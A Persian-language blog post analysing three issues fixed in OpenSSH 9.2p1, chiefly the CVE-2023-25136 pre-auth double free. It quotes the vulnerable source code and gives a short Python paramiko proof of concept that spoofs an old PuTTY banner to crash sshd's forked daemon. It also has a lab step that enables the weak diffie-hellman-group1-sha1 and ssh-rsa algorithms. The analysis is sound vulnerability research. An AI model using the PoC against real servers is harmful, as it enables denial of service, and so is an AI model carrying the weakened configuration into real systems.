هفته پیش نسخه جدیدی از openssh منتشر شد، OpenSSH 9.2p1 ، و با ارائه این نسخه سه مشکل امنیتی در OpenSSH 9.1p1 اصلاح شده.
در این پست به بررسی این سه مشکل پرداختیم و رایتآپ و PoC محققین jfrog رو برای یه آسیب پذیری از نوع double free با شناسه CVE-2023-25136 بررسی کردیم.
مشکل PermitRemoteOpen
یکی از مشکلاتی که در این نسخه حل کردن ، مشکل PermitRemoteOpen هستش. کار این گزینه اینه که وقتی RemoteForward بعنوان پروکسی ساکس استفاده میشه ، مقصدهایی که TCP port forwarding برای اونا مجاز هست رو مشخص میکنه.
بعد نسخه 8.7 ، PermitRemoteOpen اولین آرگومان خودش نادیده میگیره مگه اینکه یکی از کلید واژه های خاص any یا none داشته باشه. بنابراین لیست پرمیشن ها اگه دارای یه پرمیشن باشه ، به مشکل میخوره. در نسخه جدید این مشکل رو رفع کردن.
مشکل مرتبط با DNS :
دومین مشکل مرتبط با DNS هستش. اگه گزینه های CanonicalizeHostname و CanonicalizePermittedCNAMEs فعال باشن و libc resolver ، نامهارو در پاسخ DNS تایید نکنه ، مهاجمی که DNS رو کنترل میکنه ، میتونه کاراکترهای نامعتبرو در نامهایی که به فایلهای میزبان شناخته شده اضافه میشن، در هنگام بهروزرسانی اضافه کنه.
آسیب پذیری CVE-2023-25136 :
سومین مشکل مرتبط با مموری هستش و در OpenSSH Daemon رخ میده . این آسیب پذیری از نوع double free و دارای شناسه CVE-2023-25136 هستش و امکان RCE و DoS رو به مهاجم میده.
آسیب پذیری توسط Mantas Mikulėnas گزارش شده . ایشون در گزارششون به استفاده از نسخه منسوخ PuTTY 0.64 و کشف double free پرداختن.
برای بررسی این آسیب پذیری محیط رو با نصب OpenSSH 9.1p1 و PuTTY 0.64 آماده میکنیم. اگه با این نسخه PuTTY به سرور openssh وصل بشیم، با خطای زیر مواجه میشیم:
چون الگوریتم های تبادل کلید کلاینت منسوخ شده ، توسط openssh پشتیبانی نمیشن و خطا میدن ، برای حل این مشکل ، خط زیر رو به فایل etc/ssh/sshd_config اضافه میکنیم :
1 |
KexAlgorithms +diffie-hellman-group1-sha1 |
بعد از ریستارت سرور و اتصال مجدد ، اینبار خطای زیر رو میبینیم :
برای حل این خطا هم ، خط زیر رو به فایل sshd_config اضافه میکنیم :
1 |
HostKeyAlgorithms +ssh-rsa |
با اجرای سرور در حالت دیباگ ، استفاده از فلگ -ddd ، خطای زیر رو میگیریم :
1 |
ssh_sandbox_violation: unexpected system call (arch:0xc000003e,syscall:20 @ 0x7fd7473fb771) [preauth] |
شماره 20 برای Syscall ،مرتبط با writev هستش که با گزارش Bugzilla مطابقت داره.
اگه commit رو بررسی کنیم ، متوجه میشیم که تابع compat_kex_proposal باعث double free هستش.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
/* Always returns pointer to allocated memory, caller must free. */ char * compat_kex_proposal(struct ssh *ssh, char *p) { char *cp = NULL; if ((ssh->compat & (SSH_BUG_CURVE25519PAD|SSH_OLD_DHGEX)) == 0) return xstrdup(p); debug2_f("original KEX proposal: %s", p); if ((ssh->compat & SSH_BUG_CURVE25519PAD) != 0) if ((p = match_filter_denylist(p, "curve25519-sha256@libssh.org")) == NULL) fatal("match_filter_denylist failed"); if ((ssh->compat & SSH_OLD_DHGEX) != 0) { [1] cp = p; [2] if ((p = match_filter_denylist(p, "diffie-hellman-group-exchange-sha256," "diffie-hellman-group-exchange-sha1")) == NULL) fatal("match_filter_denylist failed"); free(cp); [3] } debug2_f("compat KEX proposal: %s", p); if (*p == '\0') fatal("No supported key exchange algorithms found"); return p; } |
با توجه به کد بالا ، اگه SSH_OLD_DHGEX ، درست باشه (قسمت 1در تصویر)، دومین آرگومان تابع یعنی P در CP قرار میگیره (2) ، در نهایت در (3) ، free میشه.
برای اینکه تابع compat_kex_proposal فراخوانی کنیم ، این تابع از طریق تابع do_ssh2_kex فراخوانی میشه.
1 |
myproposal[PROPOSAL_KEX_ALGS] = prop_kex = compat_kex_proposal(ssh,options.kex_algorithms); |
همونطور که در کد بالا میبینید ، آرگومان دوم ، همون P، در حقیقت مقدار options.kex_algorithms هستش. اگه رشته kex_algorithms در کد جستجو کنیم ، به assemble_algorithms میرسیم که در گزارش Bugzilla هم اومده.
1 |
ASSEMBLE(kex_algorithms, def_kex, all_kex); |
خود ASSEMBLE یه ماکرو برای فراخوانی kex_assemble_names هستش :
1 2 3 4 5 |
#define ASSEMBLE(what, defaults, all) \ do { \ if ((r = kex_assemble_names(&o->what, defaults, all)) != 0) \ fatal_fr(r, "%s", #what); \ } while (0) |
در کد بالا میبینیم که kex_assemble_names با سه تا پارامتر ، فراخوانی میشه ، که برای ما پارامتر اول مهمه یعنی o->kex_algorithms ، که از نوع listp هستش. اینجا هم یه free رخ میده.
1 |
int kex_assemble_names(char **listp, const char *def, const char *all) |
اما SSH_OLD_DHGEX کجا ست میشه ؟
داخل تابع compat_banner یه ساختاری رو داریم بنام check که همه SSH client ID و فلگ هاش رو ست میکنه. همونطور که میبینید SSH_OLD_DHGEX هم ست میشه. نکته ای که وجود داره اینه که احتمالا WinSCP هم بتونه این آسیب پذیری رو بده.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
{ "PuTTY_Local:*," /* dev versions < Sep 2014 */ "PuTTY-Release-0.5*," /* 0.50-0.57, DH-GEX in >=0.52 */ "PuTTY_Release_0.5*," /* 0.58-0.59 */ "PuTTY_Release_0.60*," "PuTTY_Release_0.61*," "PuTTY_Release_0.62*," "PuTTY_Release_0.63*," "PuTTY_Release_0.64*", SSH_OLD_DHGEX }, { "FuTTY*", SSH_OLD_DHGEX }, /* Putty Fork */ { "WinSCP_release_4*," "WinSCP_release_5.0*," "WinSCP_release_5.1," "WinSCP_release_5.1.*," "WinSCP_release_5.5," "WinSCP_release_5.5.*," "WinSCP_release_5.6," "WinSCP_release_5.6.*," "WinSCP_release_5.7," "WinSCP_release_5.7.1," "WinSCP_release_5.7.2," "WinSCP_release_5.7.3," "WinSCP_release_5.7.4", SSH_OLD_DHGEX }, |
در کل شکل زیر یه نمای کلی از بحثهایه بالا رو میده :
PoC:
برای نوشتن PoC ، محققا از پایتون و پکیج paramiko استفاده کرده. این بسته یه پیاده سازی از SSH هستش که هم کلاینت و هم سرور رو ارائه میده. برای استفاده هم بنر نسخه کلاینت رو تغییر دادن تا یه کلاینت منسوخ شده شبیه PuTTY v0.64 رو برای ما بده.
1 2 3 4 5 6 7 8 9 10 11 12 |
import paramiko VICTIM_IP = "127.0.0.1" CLIENT_ID = "PuTTY_Release_0.64" def main(): transport = paramiko.Transport(VICTIM_IP) transport.local_version = f"SSH-2.0-{CLIENT_ID}" transport.connect(username='', password='') if __name__ == "__main__": main() |
تاثیر آسیب پذیری :
OpenSSH Daemon به ارتباطات کلاینتها گوش میده. برای هر اتصال ورودی یه daemon جدید (forked daemons) ایجاد میکنه. این daemon جدید ، مبادله کلید، رمزگذاری، احراز هویت، اجرای دستور و تبادل داده رو انجام میده.
این آسیب پذیری، این daemon های جدید رو تحت تاثیر قرار میده ، چون فقط daemon جدید به دلیل نقض سندباکس هنگام فراخوانی writev از کار می افتن.
این آسیب پذیری ممکنه از لحاظ تئوری امکان اجرای کد از راه دور رو هم میده، اما نیاز به تحقیق و بررسی فنی بیشتر هستش.
آسیب پذیری هم نسخه 9.1p1 رو با پیکربندی پیش فرض تحت تاثیر قرار میده.